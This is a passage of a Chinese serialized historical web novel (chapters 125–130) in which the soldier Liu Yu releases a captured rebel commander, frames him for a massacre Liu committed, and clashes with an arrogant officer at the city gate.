《寒门书生，开局接盘小姨子！》 第一百二十五章 放虎归山 柳羽吓得，连忙转头朝被吵醒的人挥手： “没事，我跟萧统领聊聊家长里短，你们睡你们的。” 被吵醒的人中，有不少叛军精锐。 只是他们都收了柳羽的钱，受了柳羽的恩。 就算看见柳羽好像是要对他们的萧统领做什么。 犹豫了一下，也是闭上眼睛扭过头去，假装没有看见。 但柳羽却看得清楚。 那些叛军因为收了自己的恩惠，虽然是在睁一只眼闭一只，却没有再睡过去。 而是在暗中，观察着这边的情况。 也就是说，自己想羞辱萧统领，折磨萧统领，他们未必会管。 但自己如果是要杀萧统领。 这些收了自己恩惠的叛军精锐，也大有人会不同意。 看来，这些人，对萧统领还是有一点忠心的。 柳羽笑着，目光继续朝萧统领看去： “麻烦你搞清楚状况，现在你在我手上，你老爹差不多也算是在我手上。” “你父子两我都一网打尽了，我有什么不敢的啊？” 此话一出，一直强撑的萧统领，脸上难得地露出了慌张的神色。 柳羽从来就是一个，顺着杆子往上爬的人。 他越慌张，柳羽就越嚣张。 冷笑着，柳羽趁热打铁道： “所以你知道我现在在想什么吗？” “我在想啊，我是先杀了你，让你爹伤心难过，还是先杀了你爹，让你伤心难过。” “毕竟你都说我是无耻小人了，无耻小人怎么可能让你父子两，痛痛快快地去共赴黄泉呢？” 萧统领额头青筋暴起，气得脸色通红，两只眼睛瞪圆了，死死盯着柳羽。 这一幕，和之前柳羽在豹子山上，恶心玉军师时，玉军师看向柳羽的目光，何其相似。 柳羽早已经形成抵抗力了。 不怕被人骂，更不怕被人恨。 只是淡然道： “你要明白，眼神是杀不死人的，恨也不行。” “不过嘛，我这人跟你家玉军师一样，惜才…” 柳羽话音未落，萧统领就已经怒急反笑。 一脸嘲讽的望着柳羽： “哈哈哈，不是吧，你收买了我的手下，居然还想收买我？” “哈哈哈哈，笑话，天大的笑话，你觉得我萧天临，是一个贪生怕死，能被别人收买的人吗？” 柳羽连忙摆手： “不不不不，你太蠢了，我怎么会敢让你在我手下做事啊。” “我说我惜才的意思是，蠢才也是才。” “只有把你这样的蠢才留在叛军当中，在叛军里面当蛀虫，我才不会害怕我哪一天一不小心，死在叛军的手上。” 柳羽笑盈盈地望着萧天临。 在柳羽看来，像萧天临这样的青年才俊，浑身傲骨。 越是顺着他说话，他就越瞧不起人。 因此，柳羽对付萧天临的方式，从来就不是说好话。 而是毫不留情，不留余地地打压他，贬低他。 将他贬低得一文不值，让他知道，自己什么也不是。 也正如柳羽所料。 当这番话说出口的一瞬间，原本情绪激动的萧天临，瞬间就冷静了下来。 萧天临脸上神色一会儿青一会儿白，内心极度挣扎。 沉默许久后，才苦笑着开口： “这话你说得对，我能被你这样的无耻小人给生擒。” “确实是当得上蠢才二字。” “但那又怎样，如果你想从我身上知道什么，获得什么，我什么也不会说，就算是死，我也绝对不会配合你！” 柳羽撇嘴。 本以为萧天临能承认自己是个蠢才，他身上的傲骨就已经被磨得差不多了。 现在看来，任重道远啊！ 犹豫了片刻，柳羽脑海中，一个大胆的想法逐渐浮现。 想到三国中，丞相七擒孟获，令孟获心甘情愿俯首称臣的桥段。 柳羽眼睛微眯。 心中想着，自己是否。 可以借鉴一下？ 柳羽思虑再三，目光朝萧统领看去： “你看这样好不好，我知道你对我不怎么服气，觉得我生擒你，是用了阴谋诡计。” “这样吧，咱们打个赌。” “反正玉军师，不是也要总攻临县了吗，我现在就可以放你回去。” “你回到叛军以后，我身为临县卫所营的兵，咱两迟早碰上。” “届时，如果你赢了我，我把你老爹还给你，我赢了你，我也不要你什么东西，更不要你这个人。” “我只要你从今往后见了我，隔老远都得跪下叫声柳哥。” 柳羽似笑非笑看着萧天临： “怎么样，这个赌局如何？” “只要你说接，我立马给你松绑放你离开。” 萧天临眸光闪烁。 明显是心动了。 但柳羽的无耻，他深有体会。 实在是害怕柳羽又在耍什么鬼把戏，玩弄他。 柳羽当然知道萧天临在担心什么。 当即转身，看向所有正在休息的叛军精锐。 柳羽面对叛军精锐们大声道： “各位，醒醒，麻烦大家醒一醒。” 不少叛军精锐因为担心柳羽杀萧天临，根本就没有睡着。 听到柳羽的声音后，立即起身，围了过来。 柳羽则是让醒了的，把没醒的给叫醒。 等所有人都围过来后，柳羽大声宣布，他跟萧天临定下的赌约。 不过，萧天临可以走，五十名叛军精锐，还得留下帮柳羽搬运财宝。 所以柳羽只是大方的表示，萧天临可以指定五名叛军士兵，跟随他一同离开。 其他人得留下，包括王五。 交代完以后，柳羽转头，笑盈盈地看向萧天临： “怎么样萧统领，咱两的赌约，我跟所有人都说了。” “这么多人看着呢，你总不至于还担心，我玩什么阴谋诡计害你吧？” 萧天临眼神冰冷。 却也是看出来了，柳羽确实是没有说谎。 当即点头道： “行，这赌约我接了。” “你今日放我，他日你落在我手上，我只要回我爹，也放你一命。” 柳羽心中乐坏了。 傻小子，被我卖了还替我数钱。 你还真是个福星啊！ 柳羽当即点头，大手一挥： “来人，给萧统领松绑！” 此话一出，立即就有四名叛军士兵走上前来，解开绳子，把萧天临从马背上放了下来。 柳羽也是相当老实。 萧天临一落地，柳羽就笑着道： “萧统领，你可以带五人跟你一块走。” “选吧。” 第一百二十六章 柳羽毒计 被绑了一整天，萧天临浑身酸麻。 落地后，缓了好一会儿才开始选人。 柳羽答应放萧天临，那四名上前帮萧天临松绑的士兵，很自然的就被萧天临选上。 至于其他人，大多数都被柳羽收买，甚至不愿上前来帮萧天临松绑。 萧天临仅仅是扫了他们一眼，就冷声朝柳羽道： “四人就够了，给我点干粮武器，免得我半道饿死，或是被野狼给杀了。” 柳羽笑着点头。 萧天临的马，他的八丈蛇矛，还有萧天临专属的一把寒铁弓。 这种好东西，落到柳羽手上，当然不可能有还回去的道理。 所以柳羽只是叫李晟，找来了五把土刀递到萧天临手上。 柳羽不还马跟八丈蛇矛，萧天临也不好意思要。 接过李晟递来的刀，又带了一袋子干粮。 当即带着四名叛军，连夜启程，返回豹子山。 而柳羽则是让剩下的四十六名叛军去休息，明天一早还得搬财宝。 等到萧天临走了一个多时辰，夜色已经深邃，大多数都睡下后。 李晟却是睡不着了。 皱着眉头，李晟一脸郁闷地走到柳羽身边坐下。 柳羽正坐着火堆边烤火，见李晟靠过来，明知故问道： “怎么了，有心事？” 李晟郁闷地摇头： “没有，我只是不理解。” “柳哥儿，那个萧天临手上的老茧我看得真真切切，再加上他那一身铠甲。” “这样的存在，在战场上绝对不可小觑。” “你把他放走，跟放虎归山有什么区别？” 就在李晟抱怨的时候，王五也是睡不着，一脸不好意思地凑了上来： “柳哥，我身份尴尬，不好多说什么。” “但萧天临的本事，可不止你看到的这么简单。” “他那么恨你呢还把他放走，你以后，怕是危险了。” 听着两人的话，柳羽只是轻笑。 等两人都说完了，柳羽才笑着反问道： “你们觉得，我们现在是应该怕萧天临日后报复，还是该怕朝廷追查到我们，诛我们九族？” 李晟一脸不解： “当然是后者啊，但这跟你放走萧天临有什么关系？” 柳羽笑着，从火堆里拿起一根木棍，示意两人往地上看。 柳羽先是在地上画了个点，代表临县。 接着又分别画了两个点，代表朝廷跟叛军。 临县战乱，都指挥使司官兵被截杀，朝廷的首要怀疑目标，一定是叛军。 而都指挥使司官兵被截杀一案，大雪封路，这个冬天朝廷不会派大军来杀人，却会派使者来调查。 柳羽告诉李晟跟王五，只要朝廷大军不到。 都指挥使司被截杀一案，就是既重要，又不重要。 重要的点在于，都指挥使司是朝廷重兵之所在，江山社稷之保障，相当于朝廷的颜面。 朝廷觉得是叛军干的，就一定会派大军来讨伐。 到时候调查下来，牵连出盘根错节，会有一帮人人头落地，柳羽几人可能都跑不掉。 不重要的点在于，天时不在朝廷。 大雪封路朝廷大军短时间来不了，朝廷想要讨回颜面，暂时也没有办法。 而如果在这个冬天，在朝廷大军来临之前，把叛军给灭了。 朝廷颜面保住了。 调动大军费钱费粮，就不会再追查都指挥使司官兵被截杀一事了。 柳羽说的很详细，尽可能地让李晟跟王五能够听懂。 等两人都听懂后，柳羽笑着道： “正因为此，所以从大局上考量。” “等咱们把财宝运回临县藏起来后，咱们不能隐瞒都指挥使司被截一事，而是要主动引爆，把锅甩给叛军。” “咱们要在这个冬天，把叛军灭了，让朝廷不发怒，不在明年春天派大军打过来。” 此话一出，李晟跟王五两人，皆是瞪大了眼睛。 王五深吸一口气，不敢置信的看着柳羽： “所以柳哥你的意思是，你要做下一次战争的幕后推手？” “你放走萧天临，是为了引爆都指挥使司被截一事，引得临县跟叛军，彻底开战？” 听到这话，柳羽目光恨铁不成钢瞟向李晟： “你看看人家，再看看你，多动动脑，不要只知道生闷气。” 李晟尴尬的挠头。 但王五的话却没有完。 满脸惊疑地看着柳羽，王五沉声道： “柳哥，你知道你自己在做什么吗？” “恕我直言，你这纯粹就是在以蝼蚁之身，去撼动参天巨树。” “成了，柳哥你得不到什么，败了，所有人都将魂飞魄散！” 柳羽当然知道自己在干什么。 一个临县卫所营的兵，妄想引起一场战争。 这都不是痴人说梦了，简直是异想天开。 但柳羽没有办法。 都指挥使司几十个官兵，王县令一家子，已经死了。 死人，活不过来。 柳羽这个杀人的人，在朝廷震怒之下，也迟早被揪出来。 柳羽想带着兄弟们活命，就这一条路可以走。 所以，柳羽只是望着王五淡淡道： “我知道，不用怀疑。” 随即，柳羽直接将目光看向李晟： “李晟，明天风会很大，临县掀起的风暴，甚至可能会席卷到沧县，甚至京城去。” “所以我要你明天一早，一个人骑着马回临县，先一步到城里散布叛军截杀了都指挥使司官兵跟王县令一家的消息。” “故事我已经编好了。” “叛军探子杀王员外，被王县令逮捕，叛军记恨在心，趁着王县令全家跟随都指挥使司去洛北城，半道截杀，杀人劫财。” “另外你记住了，叛军探子中的萧寒衣，跟叛军统领萧天临之间的父子关系，你要大做文章。” “要让所有人都知道，是萧天临这个叛军统领为父报仇，截杀了都指挥使司官兵，杀了王县令一家！” 柳羽冷漠的部署，听得李晟跟王五头皮发麻。 两人怎么也想不到，柳羽放走萧天临，是为了把萧天临往死了坑。 回想起先前萧天临走的时候，还记柳羽的情。 说以后柳羽如果落到他手上，他也放柳羽一命。 两人只觉得别样的滑稽。 这就是传说中的，被人卖了还替人数钱吗？ 柳羽这招，太特么毒了。 三人一夜无话。 松阳栈道的风雪，愈下愈大。 天地间，一片苍茫。 第一百二十七章 回临县 次日一早，天还未亮。 李晟趁着所有人在熟睡，骑着快马离开。 柳羽则是趁着天光乍现，带着萧天临留下的八丈蛇矛跟寒铁弓，带着王五，找到了曾经的都指挥使司营地。 营地里的帐篷，牛马尸体，人尸体，一直没有人处理。 两夜的雪下下来，近乎所有痕迹覆盖。 柳羽望着自己的杰作，内心感慨良多。 站了好一会儿，柳与才拿出幽泉剑，将萧天临的寒铁弓弓弦砍断，把整柄弓扔在了营地中央。 随即，柳羽又把萧天临的八丈蛇矛，插在了都指挥使司执官的尸体上。 这样做的目的很简单。 萧天临身为叛军统领，肯定是带领着叛军，跟临县卫所营打过仗的。 而萧天临的八丈蛇矛形态特殊，极具辨识度。 只要有人看见过，就一定忘不了。 那把萧天临的武器插在这里，只要有人认出来了， 就一定会认定，是萧天临这个叛军统领，带兵截杀了叛军统领。 柳羽留着萧天临的武器，压根不是为了自己用。 而是为了嫁祸！ 一旁我王五默默看着柳羽嫁祸萧天临，乐呵道： “你把萧天临的武器都扔这了，为什么不做得更绝一些？” “完全可以弄个木牌子，写上‘叛军统领萧天临到此一游’，这样嫁祸起来，不是更直接一些吗？” “光扔萧天临的武器，朝廷来人看见了，还得费功夫调查这武器是谁的。” 柳羽笑着摆手： “那样做，就太刻意了。” “你要明白，越聪明的人，就越相信自己的判断跟分析。” “我只把萧天临的武器扔这里，等朝廷的人自己调查出这武器是叛军统领萧天临的。” “只有这样，朝廷才会对这事是萧天临干的，深以为然。” 王五想了想，朝着柳羽竖起了大拇指： “你是对的。” 嫁祸完萧天临以后，此行就已经到了收尾阶段。 柳羽跟王五返回营地，让五十名叛军士兵开始收拾东西。 等把营地存在过的痕迹都抹除掉后。 柳羽带着刘季几个兄弟，四十六名叛军精锐，走到了藏财宝的地方。 四大牛车，一二十个大木箱子，就算柳羽这里有五十多个人，靠搬也绝对搬不走。 眼见风雪相比昨夜小了许多，柳羽让人把四架牛车从官道下面，拉到官道上。 上官道后。 每辆牛车，柳羽让四个人在前面拉，五个人在两侧推，又分出四个人在后面使劲。 调动所有人力，包括柳羽自己。 推着牛车，缓缓前进。 等走了一段路程，大部分人都适应后。 柳羽派出刘季跟王五，拿着刀剑走到前半截官道去。 清理官道上路障的同时，严密观察有没有人出现在官道上。 运财宝这事兹事体大，柳羽不敢有丝毫马虎。 既要防备被人看到，还要加快速度。 好在天寒地冻的，连山里的猎户都不会出门打猎，官道上就更不可能有人来了。 在柳羽一路催促下，仅到中午时分，四大牛车的财宝，就已经运到了松阳客栈附近。 再往前十几里地，就能抵达临县。 但财宝离临县越近，怎么把财宝偷运进城的问题就越迫在眉睫。 刚走过松阳客栈，王五就一个人折返了回来找到柳羽： “柳哥儿，这里离临县就十来里地了。” “现在大白天的，临县里一旦有人出城上官道。” “这么短的距离，这些财宝藏都来不及藏！” 王五犹豫了一下，又连忙道： “反正现在冬季天黑的早，这回离天黑也就剩三四个时辰了。” “我看不然咱先把财宝藏起来，等天彻底黑下来了，再偷摸运进城。” 听到王五给出的办法，柳羽一脸无奈： “你当叛军当的，把自己以前在临县当兵的事全忘记了？” “不等天黑，临县城门就会关闭，你告诉我，天黑了东西怎么运进去？” 王五尴尬地挠头： “李晟不是卫所营小旗吗，让他开个城门还不容易吗？” 柳羽翻着白眼，差点没直接晕过去。 李晟是卫所营小旗，但李晟现在应该是砸了地下钱庄，被关在苦牢里。 柳羽意识到王五根本不知道，自己出来截杀都指挥使司官兵时，先在城里做足了不在场证据。 当即朝着王五道： “你就别多想了，听我的。” “从现在开始，这四大牛车财宝，还有我这四十六名弟兄，我全交给你调配。” 王五眼睛瞪大一脸懵逼： “交给我，那你呢？” 柳羽咧嘴一笑。 我？当然是回临县城门楼子下的苦牢里待着咯。 不过这事王五不知道，柳羽也懒得解释。 只是告诉王五，让他带着四十六名叛军精锐，继续把财宝往临县拉。 等拉到离临县三里地左右的时候，连人带财宝一块藏起来。 柳羽则保证，自己回了临县后，用不到天黑就会出来，把所有财宝光明正大拉进城里。 当然，这其中最重要的一环。 是王五值不值得相信，身为叛军的他，会不会等柳羽一走，就调转方向把财宝往豹子山拉去。 柳羽在心中思索了这事。 却没有跟王五挑眉。 只是在临走前朝王五笑道： “你受累，在外面冰天雪地的撑两三个小时。” “天黑之前，我必出来接你们。” 说着，柳羽当即叫上刘季跟其余四个卫所营弟兄，快速朝着临县跑去。 等到了临县城门外时，柳羽几人在雪地里糊了泥巴抹脸上，乔装打扮朝着城门口走去。 好在这些天大雪，流民都躲到了其他地方。 加上王县令走后，没有当官的再害怕被刺杀，临县已经不再严厉封城了。 柳羽几人靠近城门的时候，只是被守城的士兵盘问了几句，就给放进了城里。 一入城，柳羽几人到王员外府换回了囚服，偷摸溜回了城门楼子下方的苦牢里蹲着。 出去时十个人。 周阳受伤，陆游袁羌早早带着他回了临县，目前还不知道在哪里接受治疗。 加上李晟，今天早上独自返回临县，也不知道躲到什么地方去了。 最终回到苦牢里的，只有柳羽刘季和另外四个兄弟。 第一百二十八章 蹲苦牢，升小旗 周阳伤势不知如何，他跟陆游袁羌三人，短时间内回不来。 李晟则是一早就进临县城，散播柳羽让他散播的消息来了。 应该用不了多久就会返回苦牢。 柳羽几人在苦牢里等了一个多时辰。 李晟没等到，却等来了脸色黝黑的武总旗。 一走到苦牢门口，武总旗看清楚牢里的柳羽几人。 破口就是大骂： “娘西皮的，柳羽！” “你给我解释解释，什么叫都指挥使司官兵被截杀了！” “你特奶奶的再给我解释解释，什么叫王县令一家，都指挥使司一个执官几十名官兵，全死光了！” “再给我解释解释，都指挥使司官兵从临县押送往洛北城的二十箱金银珠宝，怎么就全都被劫走了！” 柳羽张大自己水灵灵的大眼睛，单纯又质朴地朝着武总旗眨了眨眼睛： “发生什么事了？” 武总旗眼睛瞪大： “你干的好事，你不知道发生什么了？” “今天都指挥使司被截杀一事，城里都传疯了！” 柳羽两手一摊，一脸无辜： “我就是一个小兵卒啊武总旗，我能干什么大事？” 此话一出，武总旗顿时被气笑。 好在武总旗是体会过柳羽滑头的本事的，仅仅只是片刻，就从剧烈的愤怒当中恢复过来。 冷静下来后，武总旗告诉柳羽。 今日城里一大早，就在疯传都指挥使司被截杀一事。 王县令一家子也死了。 城里就几个卫所营总旗主事，无论都指挥使司被截杀一事是真是假，几个总旗都要立即前往调查。 否则朝廷跟都指挥使司怪罪下来，不好解释。 说完后，武总旗咬牙切齿盯着柳羽： “让你出去杀王县令一个，你把天都给我捅破了。” “说，那二十箱金银珠宝你藏哪儿去了？” 柳羽依旧是一脸无辜： “真不是我干的，我们几个在山里蹲了几夜，毛都没看见，这么大的事，应该是叛军干的吧？” 武总旗乐了，彻底被柳羽气乐了。 知道柳羽不会开口说。 武总旗直接亲自上手，用铁锁将苦牢大门牢牢锁住。 临走前，冷眼盯着柳羽： “不说没关系，你就在牢里待着吧。” “一旦朝廷追查下来，查到你头上，等着砍头吧你！” 冷哼一声，武总旗转头就走。 看都懒得再看柳羽一眼。 柳羽一点不慌，知道让李晟散播消息的事，李晟做好了。 整个事件，谁背锅，谁抗压，柳羽一早安排好。 加上这事武总旗也有参与，真要杀头，武总旗的人头也跑不掉。 柳羽除了需要想办法出去，把财宝运进城藏起来之外。 完全可以稳坐苦牢，静等事件发酵。 好在李晟还在外面。 武总旗走后有一个时辰过去，天黑前，李晟就独自走进了苦牢当中。 急匆匆进来后，李晟连喘气的功夫都没有。 告诉柳羽，因为都指挥使司官兵被截杀一事在城中疯传。 城里三个总旗，武总旗，刘总旗，王总旗。 只留一个刘总旗加他的后卫营，在城中镇守。 而武总旗跟王总旗，带着八百多人马，已经出城，迎着风雪前往松阳栈道，调查都指挥使司被截杀一事。 李晟说着，四下找寻锤子，想砸开铁锁，把柳羽几人从苦牢中放出来。 “羽哥儿，事情好像真闹大了，咱们得早做逃跑准备了！” 看着李晟手上的动作，柳羽连忙阻止李晟砸开牢门放自己出去： “别急，这事武总旗也有参与，他不可能真关着我，一定另有安排。” “李晟，你身为小旗，有开城门的权利。” “财宝就藏在出城官道四五里地左右，王五带人守着，你现在过去，装作是武总旗护卫营从其他县征集来的粮草，光明正大运进城藏起来。” “记得，出城时找几十套护卫营军衣，给四十多名叛军兄弟换上。” 李晟此刻整个人都是慌乱的。 柳与没看到，两个总旗带着八百多人出城的大阵仗，李晟却是看得清清楚楚。 此刻，如果不是有柳羽当主心骨指挥，李晟早就慌乱了。 听到柳羽安排后，李晟连忙点头却办。 而柳羽就守在苦牢里，等着武总旗的人过来，放自己出去。 柳羽不相信，武总旗真就敢硬把自己关牢里。 事捅出去，谁都活不了！ 果然，武总旗没让柳羽就等。 李晟走后不到半个时辰，一名武总旗身边的亲信，就用托盘拖着衣物，进到了苦牢里面。 亲信来后，先是用钥匙，将牢门打开。 随即，将托盘上的一套属于小旗才能穿的衣服，跟一块小旗令牌，递到柳羽面前。 “柳羽，你上次与人在地下钱庄闹事，总旗关你禁闭，现在时间已到，我得总旗命来放你出去。” “由于临县战事不断，武总旗念你勇猛过人，特升你为护卫营小旗。” “不过现在武总旗的人手，都已经全部出城了，没法给你安排手下，你能调动的，就牢里这几个人。” 柳羽多少有点意外。 知道武总旗一定会放自己出去，但升自己当小旗，是柳羽万万没有想到的。 看着递过来的小旗衣服跟令牌，柳羽眉头轻挑： “武总旗升我当小旗，那他离开时，有对我下什么命令吗？” 亲信摇头。 只是道： “没有，总旗只是让我提醒你。” “城中大军调走，就剩两百多人的后卫营守城。” “城中守备空虚，总旗叫你小心，叛军趁机夜袭临县。” 听到这话，柳羽眼睛顿时就眯了起来。 武总旗是个聪明人，既然这么说了，就一定是察觉到了，叛军有攻城的迹象。 而如今城中守备空虚。 以柳羽对玉军师的了解，她不可能傻到，不抓住这么好个机会。 那这么说来，今晚可能是真的会不太平了。 意识到这点，柳羽赶忙穿上小旗的衣服，招呼刘季几人，跟自己离开苦牢，前往城中找寻守城的刘总旗。 在柳羽看来，武总旗这么隐晦的，把叛军可能今夜攻城的消息传给自己。 那就说明，他一定没有告诉刘总旗，而是想让自己见机行事。 既如此，柳羽有必要去跟刘总旗汇报一下，让他今夜加强防备。 否则叛军进城，自己跟城里的百姓，都得遭殃！ 第一百二十九章 刚愎自用 柳羽带着刘季四人走出苦牢，从城门楼子出来。 目光看去，城内大街上人影稀疏。 而城门口，犹豫武总旗带兵出城。 守城的士兵，都换成了刘总旗手下的兵。 几十个守城兵丁里，就没有一个，是柳羽认识的人。 柳羽知道，这些士兵，可能会对待会儿运财宝进城留下隐患。 不过目前，还是要先找到刘总旗，跟他通通气再说。 心里想着，柳羽走到城门口，找到守城门的后卫营小旗： “兄弟，我是武总旗旗下刚升的小旗，有重要军情要向你们刘总旗禀报，请问刘总旗目前在何处？” 被柳羽问话的后卫小旗，斜着眼睛看向柳羽： “武总旗手下小旗？武总旗不是带着所有人出城了吗？” “而且同在一城，武总旗手下小旗我都认识，没见过你这号人物啊。” 柳羽笑着掏出自己的令牌： “之前犯了点事被关禁闭，刚被放出来。” “就之前王县令开的地下钱庄闹事，我是里面带头的。” 后卫营小旗乐了： “这我倒是知道，记得带头的是李晟跟一个叫什么柳羽的。” “你不会就是柳羽吧，挨了顿板子关个禁闭出来，就升小旗了？” 柳羽笑着点头。 见状，后卫营小旗当即抬手，给柳羽指明了刘总旗的方向。 但却是冷笑着提醒道： “别怪兄弟我没提醒你，战事频发，我家刘总旗这些天正急着生儿子传宗接代。” “加上我家刘总旗刚愎自用，听不进什么东西，你传军情就传军情，最好别多话。” 柳羽眉头微邹。 能被自己下属，说他刚愎自用的总旗。 这得刚愎自用到什么地步？ 柳羽隐隐觉得，武总旗似乎是，给自己挖了个大坑。 犹豫着，柳羽终究是带着刘季四人，朝刘总旗家找去。 总旗，越是战时，身份地位越显赫。 不同于武总旗家，住在偏街，家中质朴，还自己开了菜园子种菜吃。 刘总旗家，就处在正大街上。 是离临县县衙很近，一座三进三出的一套大别院。 门口两棵榆树，榆树边上，有两个巨大的，威武霸气的石狮子镇门。 平时，更是一天二十四个时辰，都有军士在门口守门。 这气派，都快比得了王府了。 柳羽带着人赶到时，人还没靠近，就被刘总旗家门口的兵丁呵斥住： “站住，干什么的！” 柳羽怕造成误会，赶忙大声道： “武总旗手下小旗，有重要军情禀报刘总旗！” 然而，柳羽话刚出口，刘总旗家门口兵丁就直接大声道： “等着，刘总旗现在不见客。” 柳羽眼睛瞪大，一脸不敢置信。 不见客？ 自己来禀报军情，是客人吗？ 柳羽还想说什么，门口兵丁却是骤然将腰间长刀拔出一截。 冷冰冰地盯着柳羽道： “说了等着！” 柳羽身边，刘季几兄弟拳头握紧。 几乎就要当场动手。 柳羽仰头看向天色。 天上的雪越下越大，乌云越来越密集，天色愈发的昏暗。 今天晚上，必然是大雪纷飞，乌云蔽月的一晚。 尽管军情紧急，刘总旗家门口的兵丁让等着，柳羽就乖乖的等着。 一直等了半个多时辰，天色昏暗，城里各处亮起了火光。 柳羽才看到一个八尺大汉，身穿铠甲，卿卿我我搂着他的小妾，被她的小妾送至门口。 分别时，两人甚至不知羞耻地搂着啃了口，才依依不舍的分开。 更让柳羽没想到的是。 刘总旗刚一出门，他的士兵就给他把马牵到了城门口。 柳羽知道，刘总旗驻守城内，今天晚上是绝对不可能出城的。 他现在，一定是去城门口，查看城墙守备。 而刘总旗家，距离城门口，不过就两条街一两千米的路程。 就这么点路，居然需要骑马。 这跟官老爷出门，几步路都需要坐轿子，有什么区别？ 刘总旗上马后，很自然的就发现了在门口等候的柳羽几人。 骑上马后，隔着几十米看向柳羽，刘总旗漫不经心开口： “你这身衣服，是武总旗手下小旗？” “搁我家门口的雪地里站着，所为何事啊？” 刘总旗的态度，让柳羽心中生出一股无名之火。 但柳羽还是面色平静地行礼道： “回总旗，再下有重要军情禀报。” “如今武总旗与王总旗带兵出城，城内守备空虚，叛军恐有夜袭临县之…” 柳羽话还没说完，就被刘总旗打着哈欠，一脸嗤笑地打断： “这种事，用得着你一个小小的小旗汇报？” “城里人都是傻子，就你聪明，就你看出城内空虚，叛军可能攻城？” 嗤笑着，刘总旗直接骑马从柳羽身边走过。 临走时，不忘回头朝他身后的士兵道： “扔几个赏钱打发下，免得这事姓武的知道了，说我小气。” 柳羽怒急，冷声朝刘总旗道： “总旗，我的意思是叛军一旦攻城，一定会从其他地方摸黑潜入城中，光在城门口设防…” 柳羽话音未落，刘总旗已经骑马走远。 而跟在他身后的几名士兵，其中一人走上前来，掏出几个铜板丢到柳羽脚边。 丢完后，甚至想抬起手里的鞭子，像抽平民一样抽柳羽： “闭嘴吧你，你不说话，没人把你当哑巴。” 那士兵举着鞭子想抽柳羽，柳羽身边刘季四人瞬间拔刀。 意识到可能惹出事来，那士兵这才作罢，转身快速跟上刘总旗的步伐。 柳羽冷眼注视着刘总旗带队走远。 直到这个时候才意识到，朝廷腐败的不止有文官，还有武将。 原来，像武总旗跟庞县令这样的人，都是少数。 望着刘总旗即将消失的背影，柳羽冷笑： “我说的，你最好真的都知道。” “不然今晚叛军一旦攻城，你一定会死得很惨！” “包括你的家人！” 刘季目光看向柳羽，满眼都是愤怒： “柳哥，哪有他们这样羞辱人的。” “今夜叛军要真攻城，我看咱兄弟几个，干脆找机会捅他一刀算了！” 柳羽深吸一口气摆手。 刘总旗死不死柳羽不在乎，后卫营的兵死多少，柳羽也不在乎。 柳羽在乎的，是还留在城内的平头百姓。 第一百三十章 城门对峙 对于刘季的话，柳羽摇头道： “没必要，城破了，不用我们动手他都活不了。” “走吧，去城门口接李晟他们进城。” 刘总旗能不能靠得住，柳羽不知道。 柳羽现在只想赶紧把李晟接进城，藏好财宝后早做准备。 赶到城门口时，天色已经彻底暗了下来。 城门口点着的火把熊熊燃烧。 柳羽几人到的时候，刘总旗正让七八十名士兵列队，接受他的视察。 视察过程中，刘总旗下马从每一个士兵身前走过。 严格要求每一个士兵的着装，接受士兵对他的行礼。 一圈视察下来，刘总旗又站到队伍前方，中气十足发表讲话。 “将士们，城内另外两位总旗，带着他们的兵马出去了。现在，守卫临县的重任，落到了我们的肩膀上。” “大家一定要殚精竭虑，不负朝廷所器…” 刘总旗视察守城士兵，发表讲话。 看起来像那么回事。 柳羽却一眼看出，他这不过就是在耍官威而已。 他的后卫营，一个卫所营，总共就两百来人。 对比其他卫所营动辄四五百人少得可怜。 加上现在天黑，随时有叛军攻城的危险。 但凡是个脑子正常的将领，都不可能在这个紧要关头，视察队伍，发表这些无关紧要的讲话。 而是应该做出安排，让弓弩手上城墙戒备，同时派出小队围着城墙严密巡视。 这个时候把让聚拢到一块。 其他地方的防守就会松懈。 刘总旗这种做法，明显就是为了耍官威，不顾全城士兵跟百姓的死活。 说他是在渎职，都是在夸他。 柳羽知道，自己上前说什么，他都不会听。 反而会迁怒于自己。 只是远远看着，等着李晟拉着财宝回城。 等了有一炷香工夫，城楼上的士兵，低头朝下方的刘总旗大声道： “总旗，有一队四五十人的人马，拉着四架板车正朝城门走来。” “都穿着武总旗手下的衣服，要让他们靠近吗？” 不等刘总旗反应。 柳羽赶忙走上前，朝着刘总旗抱拳： “刘总旗，应该是我们护卫营，从沧县周口这些地方，征收的粮草到了。” “还请刘总旗下令开门，放我护卫营运粮草的队伍进城。” 听到是粮草，刘总旗嘴角上扬。 当即大手一挥： “开门！” 只是等到城门大开，李晟带四十六名伪装成士兵的叛军精锐，人力拉着牛车穿过城门后。 刘总旗却是大手一挥，眼神冷厉道： “关门，把他们给我围起来！本总旗，要亲自查验这批粮草！” 此话一出，柳羽眼睛顿时眯了起来。 倒不是怕刘总旗察觉到，车上拉的不是粮草，而是财宝。 临县县衙不干事，几个卫所营士兵吃的军粮，都是自己派人，去其他地方征收征借的。 能不能吃上热乎饭，几个卫所营是各凭本事。 而眼下，拉车的人，都穿着武总旗旗下护卫营的军装。 以刘总旗表现出来的傻样，柳羽不信他能看出什么端倪来。 刘总旗现在下令围住队伍的原因只有可能有一个，他想趁着武总旗不在，截胡护卫营征收的军粮！ 柳羽眼神微冷，忍着怒意朝刘总旗抱拳： “刘总旗，这几车军粮，是由我护卫营李晟李小旗负责带兵押送，我负责在城内接应。” “运粮的兵，也都是武总旗的兵。如此，刘总旗都要怀疑一下，这车上运的是不是粮草吗？” 刘总旗冷笑： “武总旗手下士兵押送的粮草，本总旗当然不怀疑。只是当下，临县由本总旗镇守，一应粮草，都当由本总旗调配。” “叫你的人走开，本总旗要将这四车粮草拉回仓库，好生存放。” 柳羽眼神冷得可怕。 和想的一样，刘总旗果然是想趁着武总不在，抢护卫营征收的粮草。 且不说这四车拉的不是粮草，柳羽绝不可能交出去。 哪怕是粮草，柳羽也定然不会交，冰冷道： “总旗，各卫所营自行征收来的粮草，都是自行处理。刘总旗如此行径，我是否能认为，刘总旗是在抢我护卫营的粮草呢？” 柳羽话音刚落，刘总旗身边一个小旗，顿时就怒了。 指着柳羽的鼻子，当场开骂： “你什么东西，一个小旗，也敢跟总旗这么说话？” “什么叫抢粮食，现在临县主事的都出去了，刘总旗就是城里最大的，堂堂一个总旗，还没有资格调配你护卫营四车粮草吗？” 那小旗一出口，刘总旗手下后卫营的士兵，纷纷开口将矛头指向柳羽： “对啊，你算个什么东西！调你四车粮草怎么了，就是你这些兵，我们刘总旗也随意调配！” 身为主事人的刘总旗，却只是冷眼扫了眼柳羽，随即抬手： “四车粮草，拉走！” 他话音一落，几十名围住李晟队伍的士兵，当即就要上前抢车。 刺啦！ 一声剑鸣，响彻城门。 柳羽果断拔出手中幽泉剑，厉声呵斥： “我看谁敢动！” 